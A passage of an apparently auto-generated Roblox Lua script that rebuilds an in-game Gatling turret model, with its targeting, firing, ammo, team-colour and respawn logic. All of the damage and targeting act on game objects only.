1984
	if(target ~=nil) then
1985
		if(target.Name == "Torso") then
1986
			if(human ~= nil and target ~= nil) then
1987
				if (Tgt.Position - pos).magnitude < dist  and human.Health > 0 then
1988
					torso = Tgt
1989
					dist = (Tgt.Position - pos).magnitude
1990
				end
1991
			end
1992
		else
1993
			if(target ~= nil) then
1994
				if (Tgt.Position - pos).magnitude < dist then
1995
					torso = Tgt
1996
					dist = (Tgt.Position - pos).magnitude
1997
				end
1998
			end
1999
		end
2000
	end
2001
	return torso
2002
end
2003
script.Parent.BodyGyro.cframe = script.Parent.CFrame
2004
wait(.1)
2005
-- ZombieTarget
2006
-- HumanoidTarget
2007
-- isTeamGame
2008
-- MyTeamColor
2009
2010
while true do
2011
	if(script.Parent.Parent.Destroyed.Value == false) then
2012
		target = findNearestTorso(script.Parent.Position)
2013
2014
		if(target ~= nil) then
2015
			
2016
			if(isInFireingRange(target,script.Parent.Position))then
2017
				script.Parent.Parent.MyTarget.Value = target.Parent
2018
			else
2019
				script.Parent.Parent.MyTarget.Value = nil
2020
			end
2021
			script.Parent.BodyGyro.cframe = script.Parent.CFrame
2022
			script.Parent.BodyGyro.P = 30000
2023
			move(target.Position,script.Parent)
2024
		else
2025
			move(script.Parent.Parent.Point.Position,script.Parent)
2026
			script.Parent.BodyGyro.P = 5000
2027
			script.Parent.Parent.MyTarget.Value = nil
2028
		end
2029
		script.Parent.BodyPosition.position = script.Parent.Position
2030
	end
2031
	wait(0)
2032
end
2033
2034
end))
2035
BodyGyro116.Parent = Part114
2036
BodyGyro116.CFrame = CFrame.new(20, 11.8000002, -25, -1, 0, 0, 0, 1, 0, 0, 0, -1)
2037
BodyGyro116.maxTorque = Vector3.new(0, 0, 0)
2038
BodyGyro116.P = 30000
2039
BodyGyro116.D = 1000
2040
BodyGyro116.MaxTorque = Vector3.new(0, 0, 0)
2041
BodyPosition117.Parent = Part114
2042
Part118.Name = "Torso"
2043
Part118.Parent = Model113
2044
Part118.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
2045
Part118.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
2046
Part118.Velocity = Vector3.new(-0.339785874, -0.352937579, 13.9667473)
2047
Part118.Size = Vector3.new(2, 1.20000005, 2)
2048
Part118.CFrame = CFrame.new(-46.0904083, 9.54072189, 125.976646, -0.999963403, -6.73908289e-05, -0.00775428209, -0.000104194078, 0.999988735, 0.00475052604, 0.00775316823, 0.00475118915, -0.999949932)
2049
Part118.TopSurface = Enum.SurfaceType.Smooth
2050
Part118.Position = Vector3.new(-46.0904083, 9.54072189, 125.976646)
2051
Part118.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
2052
Part119.Name = "Point"
2053
Part119.Parent = Model113
2054
Part119.BrickColor = BrickColor.new("White")
2055
Part119.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977)
2056
Part119.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2057
Part119.Velocity = Vector3.new(-2.77803421, 1.17866158, 18.8656311)
2058
Part119.Size = Vector3.new(2, 1.20000005, 1)
2059
Part119.CFrame = CFrame.new(-47.3733101, 11.633605, 124.853088, 0.170336798, 0.151522636, 0.973659873, -0.672210753, 0.740355611, 0.00238462957, -0.720492423, -0.654909194, 0.227966323)
2060
Part119.BottomSurface = Enum.SurfaceType.Weld
2061
Part119.Color = Color3.new(0.94902, 0.952941, 0.952941)
2062
Part119.Position = Vector3.new(-47.3733101, 11.633605, 124.853088)
2063
Part119.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979)
2064
Part119.Color = Color3.new(0.94902, 0.952941, 0.952941)
2065
Model120.Name = "FirePoints"
2066
Model120.Parent = Model113
2067
Part121.Name = "Turret01"
2068
Part121.Parent = Model120
2069
Part121.BrickColor = BrickColor.new("Black")
2070
Part121.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
2071
Part121.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2072
Part121.Velocity = Vector3.new(0.333719254, -1.14340079, 20.2251968)
2073
Part121.Size = Vector3.new(1, 1.20000005, 2)
2074
Part121.CFrame = CFrame.new(-46.9106522, 13.652627, 127.242538, -0.973658144, 0.151521698, 0.170335367, -0.00238511013, 0.740354478, -0.672210813, -0.227967292, -0.654907584, -0.720491827)
2075
Part121.BackSurface = Enum.SurfaceType.Weld
2076
Part121.BottomSurface = Enum.SurfaceType.Smooth
2077
Part121.FrontSurface = Enum.SurfaceType.Hinge
2078
Part121.TopSurface = Enum.SurfaceType.Smooth
2079
Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
2080
Part121.Position = Vector3.new(-46.9106522, 13.652627, 127.242538)
2081
Part121.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
2082
Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
2083
Part122.Name = "Turret02"
2084
Part122.Parent = Model120
2085
Part122.BrickColor = BrickColor.new("Black")
2086
Part122.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
2087
Part122.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2088
Part122.Velocity = Vector3.new(0.786167622, -0.604830503, 18.2871399)
2089
Part122.Size = Vector3.new(1, 1.20000005, 2)
2090
Part122.CFrame = CFrame.new(-45.9369965, 13.6550093, 127.470505, -0.973658144, 0.151521698, 0.170335367, -0.00238511013, 0.740354478, -0.672210813, -0.227967292, -0.654907584, -0.720491827)
2091
Part122.BackSurface = Enum.SurfaceType.Weld
2092
Part122.BottomSurface = Enum.SurfaceType.Smooth
2093
Part122.FrontSurface = Enum.SurfaceType.Hinge
2094
Part122.TopSurface = Enum.SurfaceType.Smooth
2095
Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
2096
Part122.Position = Vector3.new(-45.9369965, 13.6550093, 127.470505)
2097
Part122.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
2098
Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
2099
Script123.Parent = Model120
2100
table.insert(cors,sandbox(Script123,function()
2101
ProjectileSpeed = 600
2102
script.Parent.Parent.ProjectileSpeed.Value = ProjectileSpeed;
2103
MaxAmmo = script.Parent.Parent.Parent.AmmoClip.Value
2104
AmmoCount = script.Parent.Parent.Parent.AmmoClip
2105
Clips = script.Parent.Parent.Parent.Clips
2106
FirstFire = true
2107
function Vel(speed,lv)
2108
	return lv*Vector3.new(speed,speed,speed)
2109
end
2110
name = "Gatlin Turret"
2111
2112
local tnum = 0
2113
wait(1)
2114
while true do
2115
2116
	pos1 = script.Parent.Turret01
2117
	pos2 = script.Parent.Turret02
2118
	firePoint = nil
2119
	if(tnum == 0) then
2120
		tnum = 1
2121
		firePoint = pos1
2122
	else
2123
		tnum = 0
2124
		firePoint = pos2
2125
	end
2126
2127
	if(firePoint == nil) then break end
2128
		if(script.Parent.Parent.Destroyed.Value == false) then
2129
			if(script.Parent.Parent.MyTarget.Value ~= nil) then
2130
				if(firePoint:findFirstChild("Sound") ~= nil) then
2131
					firePoint.Sound:remove()
2132
				end
2133
				if(FirstFire == false) then
2134
					if(AmmoCount.Value > 0) then
2135
						PT = Instance.new("Part")
2136
						PT.Size = Vector3.new(1, 0.4, 1)
2137
						PT.Shape = 1
2138
						PT.formFactor = 2
2139
						PT.BrickColor=BrickColor.new("Bright red")
2140
						PT.TopSurface = "Smooth"
2141
						PT.BottomSurface = "Smooth"
2142
						PT.CanCollide = false
2143
						PT.Parent = game.Workspace
2144
						PT.Name = "Bullet"
2145
						PT.CFrame = firePoint.CFrame*CFrame.new(Vector3.new(0,0,-5))
2146
						snd = Instance.new("Sound")
2147
						snd.SoundId = "http://www.roblox.com/asset/?id=2692806"
2148
						snd.Volume = 1
2149
						snd.Parent =  firePoint
2150
						snd:play()
2151
						BV = Instance.new("BodyVelocity")
2152
						BV.Parent = PT
2153
						BV.maxForce = Vector3.new(1000000,1000000,1000000)
2154
						BV.velocity = Vel(ProjectileSpeed,firePoint.CFrame.lookVector)
2155
						scr = script.BulletScript:clone()
2156
						scr.Parent = PT
2157
						AmmoCount.Value=AmmoCount.Value-1
2158
						wait(.1)
2159
					else
2160
						if(Clips.Value > 0) then
2161
							Clips.Value = Clips.Value -1
2162
							AmmoCount.Value = MaxAmmo
2163
							snd = Instance.new("Sound")
2164
							snd.SoundId = "http://www.roblox.com/asset/?id=2697432"
2165
							snd.Volume = 1
2166
							snd.Parent =  firePoint
2167
							snd:play()
2168
							FirstFire = true
2169
							wait(1.2)
2170
						else
2171
							script.Parent.Parent.Destroyed.Value=true
2172
						end
2173
					end
2174
				else
2175
					snd = Instance.new("Sound")
2176
					snd.SoundId = "http://www.roblox.com/asset/?id=2692844"
2177
					snd.Volume = 1
2178
					snd.Parent =  firePoint
2179
					snd:play()
2180
					FirstFire = false
2181
					wait(0.8)
2182
				end
2183
			else
2184
				FirstFire = true
2185
			end
2186
		script.Parent.Parent.Parent.Name = ""
2187
		script.Parent.Parent.Parent.Name = name.." Ammo Left :"..AmmoCount.Value.." Of : "..MaxAmmo*Clips.Value
2188
	end
2189
wait(.01)
2190
end
2191
end))
2192
Script124.Name = "BulletScript"
2193
Script124.Parent = Script123
2194
table.insert(cors,sandbox(Script124,function()
2195
if(script.Parent.className == "Part") then
2196
	base = script.Parent
2197
	deBounce = false
2198
	function kill(part)
2199
		if(part == nil) then return end
2200
		if(part.Parent == nil) then return end
2201
		h = part.Parent:findFirstChild("Zombie") or part.Parent:findFirstChild("Humanoid")
2202
		if(deBounce == false) then
2203
			deBounce = true
2204
			if (h ~= nil) and (h.className == "Humanoid") then
2205
				if(part.Name == "Head") then
2206
					h:TakeDamage(1000)
2207
				else
2208
					h:TakeDamage(15)
2209
				end
2210
			else
2211
				if(part.Anchored == false) then
2212
					destroytag = part.Parent:FindFirstChild("Destroyed") or part.Parent.Parent:FindFirstChild("Destroyed")
2213
					if(destoytag ~= nil) then
2214
						destroytag.Value = true
2215
					else
2216
						part:Remove()
2217
					end
2218
				end
2219
			end
2220
		end
2221
		
2222
		script.Parent.Anchored = true
2223
		script.Parent.Transparency = 1
2224
		script.Parent:remove()
2225
	end
2226
	base.Touched:connect(kill)
2227
	wait(10)
2228
	script.Parent:Remove()
2229
end
2230
end))
2231
IntValue125.Name = "ProjectileSpeed"
2232
IntValue125.Parent = Model113
2233
IntValue125.Value = 600
2234
ObjectValue126.Name = "MyTarget"
2235
ObjectValue126.Parent = Model113
2236
BoolValue127.Name = "Destroyed"
2237
BoolValue127.Parent = Model113
2238
Script128.Name = "DeathScript"
2239
Script128.Parent = Model113
2240
table.insert(cors,sandbox(Script128,function()
2241
function test()
2242
	if(script.Parent ~= nil) then
2243
		script.Parent.Destroyed.Value =true
2244
	end
2245
end
2246
2247
script.Parent.ChildRemoved:connect(test)
2248
2249
while true do
2250
	if(script.Parent~= nil) then
2251
		if(script.Parent.Destroyed.Value == true) then
2252
		wait(2)
2253
			Tengine = script.Parent:findFirstChild("TurretEngine")
2254
			if(Tengine ~= nil) then
2255
				script.Parent.TurretEngine.BodyGyro:remove()
2256
			end
2257
			wait(4)
2258
			script.Parent.Parent.Head:remove()
2259
		end
2260
	end
2261
	wait(.1)
2262
end
2263
end))
2264
Model129.Name = "BodyKit"
2265
Model129.Parent = Model111
2266
Part130.Name = "Smooth Block Model"
2267
Part130.Parent = Model129
2268
Part130.Rotation = Vector3.new(-179.229996, 89.5, 179.5)
2269
Part130.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
2270
Part130.Velocity = Vector3.new(-0.339260548, -0.315080345, 14.0350704)
2271
Part130.Size = Vector3.new(2, 1.20000005, 1)
2272
Part130.CFrame = CFrame.new(-47.5903473, 9.54056549, 125.988266, -0.00775436917, -6.73956602e-05, 0.999961436, 0.00475051953, 0.999988735, 0.000104188577, -0.999947309, 0.00475118309, -0.0077530453)
2273
Part130.BackSurface = Enum.SurfaceType.Weld
2274
Part130.TopSurface = Enum.SurfaceType.Smooth
2275
Part130.Position = Vector3.new(-47.5903473, 9.54056549, 125.988266)
2276
Part130.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
2277
SpecialMesh131.Parent = Part130
2278
SpecialMesh131.MeshType = Enum.MeshType.Wedge
2279
Part132.Name = "Smooth Block Model"
2280
Part132.Parent = Model129
2281
Part132.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
2282
Part132.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
2283
Part132.Velocity = Vector3.new(-0.27165705, -0.153109163, 13.9671679)
2284
Part132.Size = Vector3.new(2, 1.20000005, 1)
2285
Part132.CFrame = CFrame.new(-46.0787697, 9.53359604, 127.476563, -0.999959469, -6.74005059e-05, -0.00775445672, -0.000104183076, 0.999988735, 0.00475051301, 0.00775292329, 0.00475117704, -0.999944687)
2286
Part132.BackSurface = Enum.SurfaceType.Weld
2287
Part132.TopSurface = Enum.SurfaceType.Smooth
2288
Part132.Position = Vector3.new(-46.0787697, 9.53359604, 127.476563)
2289
Part132.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
2290
SpecialMesh133.Parent = Part132
2291
SpecialMesh133.MeshType = Enum.MeshType.Wedge
2292
Part134.Name = "Smooth Block Model"
2293
Part134.Parent = Model129
2294
Part134.Rotation = Vector3.new(136.98999, 9.80999947, 8.84999943)
2295
Part134.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2296
Part134.Velocity = Vector3.new(1.52329302, -0.480651498, 16.9657364)
2297
Part134.CanCollide = false
2298
Part134.Size = Vector3.new(2, 1.20000005, 1)
2299
Part134.CFrame = CFrame.new(-46.3501472, 11.7570744, 127.061676, 0.973658144, -0.151521698, 0.170335367, 0.00238511013, -0.740354478, -0.672210813, 0.227967292, 0.654907584, -0.720491827)
2300
Part134.BottomSurface = Enum.SurfaceType.Weld
2301
Part134.Position = Vector3.new(-46.3501472, 11.7570744, 127.061676)
2302
Part134.Orientation = Vector3.new(42.2399979, 166.699997, 179.819992)
2303
SpecialMesh135.Parent = Part134
2304
SpecialMesh135.MeshType = Enum.MeshType.Wedge
2305
Part136.Name = "Smooth Block Model"
2306
Part136.Parent = Model129
2307
Part136.Rotation = Vector3.new(0.769999981, -89.4700012, 0.5)
2308
Part136.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
2309
Part136.Velocity = Vector3.new(-0.340311468, -0.390796125, 13.8984232)
2310
Part136.Size = Vector3.new(2, 1.20000005, 1)
2311
Part136.CFrame = CFrame.new(-44.5904579, 9.54088211, 125.965019, 0.0077545438, -6.74053372e-05, -0.999957502, -0.00475050695, 0.999988735, -0.000104177569, 0.999942064, 0.00475117099, 0.00775280036)
2312
Part136.BackSurface = Enum.SurfaceType.Weld
2313
Part136.TopSurface = Enum.SurfaceType.Smooth
2314
Part136.Position = Vector3.new(-44.5904579, 9.54088211, 125.965019)
2315
Part136.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
2316
SpecialMesh137.Parent = Part136
2317
SpecialMesh137.MeshType = Enum.MeshType.Wedge
2318
Part138.Name = "Smooth Block Model"
2319
Part138.Parent = Model129
2320
Part138.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
2321
Part138.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
2322
Part138.Velocity = Vector3.new(-0.407915711, -0.552769125, 13.9663267)
2323
Part138.Size = Vector3.new(2, 1.20000005, 1)
2324
Part138.CFrame = CFrame.new(-46.1020432, 9.54784775, 124.476707, 0.999963403, -6.74098119e-05, 0.00775471237, 0.000104215294, 0.999988735, -0.00475055026, -0.0077535985, 0.00475121336, 0.999949932)
2325
Part138.BackSurface = Enum.SurfaceType.Weld
2326
Part138.TopSurface = Enum.SurfaceType.Smooth
2327
Part138.Position = Vector3.new(-46.1020432, 9.54784775, 124.476707)
2328
Part138.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
2329
SpecialMesh139.Parent = Part138
2330
SpecialMesh139.MeshType = Enum.MeshType.Wedge
2331
Part140.Name = "Smooth Block Model"
2332
Part140.Parent = Model129
2333
Part140.Rotation = Vector3.new(-0.599999964, 76.8199997, 48.3499985)
2334
Part140.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2335
Part140.Velocity = Vector3.new(-1.34596419, -0.242688298, 20.3510456)
2336
Part140.FormFactor = Enum.FormFactor.Plate
2337
Part140.Size = Vector3.new(1, 0.800000012, 1)
2338
Part140.CFrame = CFrame.new(-47.6269226, 12.5006695, 125.927261, 0.151520982, -0.170334309, 0.973657012, 0.740353644, 0.672210753, 0.00238544005, -0.654906332, 0.720491409, 0.227968022)
2339
Part140.BackSurface = Enum.SurfaceType.Weld
2340
Part140.BottomSurface = Enum.SurfaceType.Weld
2341
Part140.TopSurface = Enum.SurfaceType.Smooth
2342
Part140.Position = Vector3.new(-47.6269226, 12.5006695, 125.927261)
2343
Part140.Orientation = Vector3.new(-0.140000001, 76.8199997, 47.7599983)
2344
SpecialMesh141.Parent = Part140
2345
SpecialMesh141.MeshType = Enum.MeshType.Wedge
2346
Part142.Name = "Smooth Block Model"
2347
Part142.Parent = Model129
2348
Part142.Rotation = Vector3.new(179.399994, -76.8199997, 131.649994)
2349
Part142.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2350
Part142.Velocity = Vector3.new(0.0114042759, 1.37301433, 14.5368576)
2351
Part142.FormFactor = Enum.FormFactor.Plate
2352
Part142.Size = Vector3.new(1, 0.800000012, 1)
2353
Part142.CFrame = CFrame.new(-44.7059441, 12.5078249, 126.611176, -0.151520208, -0.170333013, -0.973655403, -0.740352631, 0.672210515, -0.00238584518, 0.65490514, 0.720490873, -0.227968857)
2354
Part142.BackSurface = Enum.SurfaceType.Weld
2355
Part142.BottomSurface = Enum.SurfaceType.Weld
2356
Part142.TopSurface = Enum.SurfaceType.Smooth
2357
Part142.Position = Vector3.new(-44.7059441, 12.5078249, 126.611176)
2358
Part142.Orientation = Vector3.new(0.140000001, -103.18, -47.7599983)
2359
SpecialMesh143.Parent = Part142
2360
SpecialMesh143.MeshType = Enum.MeshType.Wedge
2361
Part144.Name = "Smooth Block Model"
2362
Part144.Parent = Model129
2363
Part144.BrickColor = BrickColor.new("Black")
2364
Part144.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
2365
Part144.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2366
Part144.Velocity = Vector3.new(-0.769704342, 0.556205392, 17.607338)
2367
Part144.Size = Vector3.new(2, 1.20000005, 1)
2368
Part144.CFrame = CFrame.new(-46.1683197, 12.6454926, 126.27578, -0.973659456, 0.151522398, 0.170336425, -0.00238473853, 0.740355372, -0.672210753, -0.227966562, -0.654908717, -0.720492303)
2369
Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
2370
Part144.Position = Vector3.new(-46.1683197, 12.6454926, 126.27578)
2371
Part144.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
2372
Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
2373
Part145.Name = "Smooth Block Model"
2374
Part145.Parent = Model129
2375
Part145.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
2376
Part145.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2377
Part145.Velocity = Vector3.new(-2.29835081, 1.24742377, 18.0350952)
2378
Part145.FormFactor = Enum.FormFactor.Plate
2379
Part145.Size = Vector3.new(2, 0.400000006, 1)
2380
Part145.CFrame = CFrame.new(-46.0471077, 13.2377796, 125.751862, -0.97365582, 0.151520386, 0.170333385, -0.00238573598, 0.740352869, -0.672210753, -0.227968588, -0.654905319, -0.720491052)
2381
Part145.BackSurface = Enum.SurfaceType.Weld
2382
Part145.BottomSurface = Enum.SurfaceType.Weld
2383
Part145.Position = Vector3.new(-46.0471077, 13.2377796, 125.751862)
2384
Part145.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
2385
SpecialMesh146.Parent = Part145
2386
SpecialMesh146.MeshType = Enum.MeshType.Wedge
2387
Model147.Name = "TeamColorBricks"
2388
Model147.Parent = Model129
2389
Part148.Name = "Smooth Block Model"
2390
Part148.Parent = Model147
2391
Part148.BrickColor = BrickColor.new("White")
2392
Part148.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977)
2393
Part148.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2394
Part148.Velocity = Vector3.new(-1.42069364, 2.79437542, 13.0514545)
2395
Part148.Size = Vector3.new(2, 1.20000005, 1)
2396
Part148.CFrame = CFrame.new(-44.4523392, 11.6407576, 125.536987, 0.170336246, 0.151522294, 0.973659217, -0.672210634, 0.740355194, 0.00238480419, -0.720492184, -0.654908657, 0.227966696)
2397
Part148.BottomSurface = Enum.SurfaceType.Weld
2398
Part148.Color = Color3.new(0.94902, 0.952941, 0.952941)
2399
Part148.Position = Vector3.new(-44.4523392, 11.6407576, 125.536987)
2400
Part148.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979)
2401
Part148.Color = Color3.new(0.94902, 0.952941, 0.952941)
2402
Part149.Name = "Smooth Block Model"
2403
Part149.Parent = Model147
2404
Part149.BrickColor = BrickColor.new("White")
2405
Part149.Rotation = Vector3.new(179.399994, -76.8199997, 41.6499977)
2406
Part149.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2407
Part149.Velocity = Vector3.new(0.872294664, 1.75753021, 12.4098368)
2408
Part149.CanCollide = false
2409
Part149.Size = Vector3.new(2, 1.20000005, 1)
2410
Part149.CFrame = CFrame.new(-44.6341629, 10.7523317, 126.322876, 0.17033498, -0.151521504, -0.973657787, -0.672210515, -0.74035418, -0.0023851993, -0.720491588, 0.654907405, -0.22796753)
2411
Part149.BottomSurface = Enum.SurfaceType.Weld
2412
Part149.TopSurface = Enum.SurfaceType.Smooth
2413
Part149.Color = Color3.new(0.94902, 0.952941, 0.952941)
2414
Part149.Position = Vector3.new(-44.6341629, 10.7523317, 126.322876)
2415
Part149.Orientation = Vector3.new(0.140000001, -103.18, -137.759995)
2416
Part149.Color = Color3.new(0.94902, 0.952941, 0.952941)
2417
SpecialMesh150.Parent = Part149
2418
SpecialMesh150.MeshType = Enum.MeshType.Wedge
2419
Part151.Name = "Smooth Block Model"
2420
Part151.Parent = Model147
2421
Part151.BrickColor = BrickColor.new("White")
2422
Part151.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
2423
Part151.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2424
Part151.Velocity = Vector3.new(-3.62802076, 2.67774725, 16.3862896)
2425
Part151.FormFactor = Enum.FormFactor.Plate
2426
Part151.Size = Vector3.new(2, 0.400000006, 2)
2427
Part151.CFrame = CFrame.new(-45.7916107, 12.2294626, 124.671112, -0.973659456, 0.151522398, 0.170336425, -0.00238473853, 0.740355372, -0.672210753, -0.227966562, -0.654908717, -0.720492303)
2428
Part151.TopSurface = Enum.SurfaceType.Smooth
2429
Part151.Color = Color3.new(0.94902, 0.952941, 0.952941)
2430
Part151.Position = Vector3.new(-45.7916107, 12.2294626, 124.671112)
2431
Part151.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
2432
Part151.Color = Color3.new(0.94902, 0.952941, 0.952941)
2433
Part152.Name = "Smooth Block Model"
2434
Part152.Parent = Model147
2435
Part152.BrickColor = BrickColor.new("White")
2436
Part152.Rotation = Vector3.new(179.399994, -76.8199997, -138.349991)
2437
Part152.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2438
Part152.Velocity = Vector3.new(-2.94935274, 3.48561525, 13.4791775)
2439
Part152.FormFactor = Enum.FormFactor.Plate
2440
Part152.Size = Vector3.new(2, 0.400000006, 1)
2441
Part152.CFrame = CFrame.new(-44.3311119, 12.2330418, 125.013062, -0.170332983, 0.151520222, -0.973655462, 0.672210395, 0.740352571, -0.00238582515, 0.720490754, -0.65490514, -0.227968827)
2442
Part152.BackSurface = Enum.SurfaceType.Weld
2443
Part152.BottomSurface = Enum.SurfaceType.Weld
2444
Part152.Color = Color3.new(0.94902, 0.952941, 0.952941)
2445
Part152.Position = Vector3.new(-44.3311119, 12.2330418, 125.013062)
2446
Part152.Orientation = Vector3.new(0.140000001, -103.18, 42.2399979)
2447
Part152.Color = Color3.new(0.94902, 0.952941, 0.952941)
2448
SpecialMesh153.Parent = Part152
2449
SpecialMesh153.MeshType = Enum.MeshType.Wedge
2450
Part154.Name = "Smooth Block Model"
2451
Part154.Parent = Model147
2452
Part154.BrickColor = BrickColor.new("White")
2453
Part154.Rotation = Vector3.new(-0.599999964, 76.8199997, 138.349991)
2454
Part154.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2455
Part154.Velocity = Vector3.new(-0.485032022, 0.141801596, 18.2240295)
2456
Part154.CanCollide = false
2457
Part154.Size = Vector3.new(2, 1.20000005, 1)
2458
Part154.CFrame = CFrame.new(-47.5551414, 10.7451811, 125.638985, -0.170337349, -0.151522994, 0.973660469, 0.672210813, -0.740356028, 0.00238447357, 0.720492601, 0.654909849, 0.227965981)
2459
Part154.BottomSurface = Enum.SurfaceType.Weld
2460
Part154.TopSurface = Enum.SurfaceType.Smooth
2461
Part154.Color = Color3.new(0.94902, 0.952941, 0.952941)
2462
Part154.Position = Vector3.new(-47.5551414, 10.7451811, 125.638985)
2463
Part154.Orientation = Vector3.new(-0.140000001, 76.8199997, 137.759995)
2464
Part154.Color = Color3.new(0.94902, 0.952941, 0.952941)
2465
SpecialMesh155.Parent = Part154
2466
SpecialMesh155.MeshType = Enum.MeshType.Wedge
2467
Part156.Name = "Smooth Block Model"
2468
Part156.Parent = Model147
2469
Part156.BrickColor = BrickColor.new("White")
2470
Part156.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977)
2471
Part156.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
2472
Part156.Velocity = Vector3.new(-4.30668783, 1.86988568, 19.2933846)
2473
Part156.FormFactor = Enum.FormFactor.Plate
2474
Part156.Size = Vector3.new(2, 0.400000006, 1)
2475
Part156.CFrame = CFrame.new(-47.2521019, 12.2258825, 124.329163, 0.170334131, 0.151520908, 0.973656714, -0.672210753, 0.740353346, 0.00238548429, -0.72049135, -0.654906034, 0.227968112)
2476
Part156.BackSurface = Enum.SurfaceType.Weld
2477
Part156.BottomSurface = Enum.SurfaceType.Weld
2478
Part156.TopSurface = Enum.SurfaceType.Smooth
2479
Part156.Color = Color3.new(0.94902, 0.952941, 0.952941)
2480
Part156.Position = Vector3.new(-47.2521019, 12.2258825, 124.329163)
2481
Part156.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979)
2482
Part156.Color = Color3.new(0.94902, 0.952941, 0.952941)
2483
SpecialMesh157.Parent = Part156
2484
SpecialMesh157.MeshType = Enum.MeshType.Wedge
2485
BoolValue158.Name = "TeamGame"
2486
BoolValue158.Parent = Model111
2487
BoolValue158.Value = true
2488
BrickColorValue159.Name = "TeamColor"
2489
BrickColorValue159.Parent = Model111
2490
BrickColorValue159.Value = BrickColor.new("White")
2491
BoolValue160.Name = "Target Zombies"
2492
BoolValue160.Parent = Model111
2493
BoolValue160.Value = true
2494
BoolValue161.Name = "Target Humanoids"
2495
BoolValue161.Parent = Model111
2496
IntValue162.Name = "ScanRange"
2497
IntValue162.Parent = Model111
2498
IntValue162.Value = 300
2499
Humanoid163.Parent = Model111
2500
Humanoid163.Health = 0
2501
Humanoid163.MaxHealth = 0
2502
IntValue164.Name = "Clips"
2503
IntValue164.Parent = Model111
2504
IntValue164.Value = 10
2505
IntValue165.Name = "AmmoClip"
2506
IntValue165.Parent = Model111
2507
IntValue165.Value = 100
2508
Script166.Name = "RegenScript"
2509
Script166.Parent = Model111
2510
Script166.Disabled = true
2511
table.insert(cors,sandbox(Script166,function()
2512
model = script.Parent
2513
backup = model:clone()
2514
active = false
2515
function Regen(part)
2516
	if(active == false) then
2517
		active = true
2518
		script.Parent:breakJoints()
2519
		script.Parent.Brain.Destroyed.Value = true
2520
		wait(1)
2521
		model:remove()
2522
		model = backup:Clone()
2523
		wait(30)
2524
		model.Parent = game.Workspace
2525
		model:MakeJoints()
2526
	end
2527
end
2528
2529
function retriveParts(model,myColor) 
2530
	local raw_model = model:GetChildren()
2531
        for i=1,#raw_model do
2532
	   local part = raw_model[i]
2533
           if(part ~= nil) then
2534
		part.BrickColor = myColor
2535
           end
2536
        end
2537
end
2538
2539
function setTeam()
2540
	local brain = script.Parent.Brain
2541
	local isTeamGame = script.Parent.TeamGame.Value
2542
	if(isTeamGame == true) then
2543
		retriveParts(script.Parent.BodyKit.TeamColorBricks,script.Parent.TeamColor.Value)
2544
		if(brain:findFirstChild("Point") ~= nil) then
2545
			brain.Point.BrickColor = script.Parent.TeamColor.Value
2546
		end
2547
		if(brain:findFirstChild("TurretEngine") ~= nil) then
2548
			brain.TurretEngine.BrickColor = script.Parent.TeamColor.Value
2549
		end
2550
		if(script.Parent:findFirstChild("Head") ~= nil) then
2551
			script.Parent.Head.BrickColor = script.Parent.TeamColor.Value
2552
		end
2553
	else
2554
		retriveParts(script.Parent.BodyKit.TeamColorBricks,BrickColor.new("Dark stone grey"))
2555
		if(brain:findFirstChild("Point") ~= nil) then
2556
			brain.Point.BrickColor = BrickColor.new("Dark stone grey")
2557
		end
2558
		if(brain:findFirstChild("TurretEngine") ~= nil) then
2559
			brain.TurretEngine.BrickColor = BrickColor.new("Dark stone grey")
2560
		end
2561
		if(script.Parent:findFirstChild("Head") ~= nil) then
2562
			script.Parent.Head.BrickColor = BrickColor.new("Dark stone grey")
2563
		end
2564
	end
2565
end
2566
setTeam()
2567
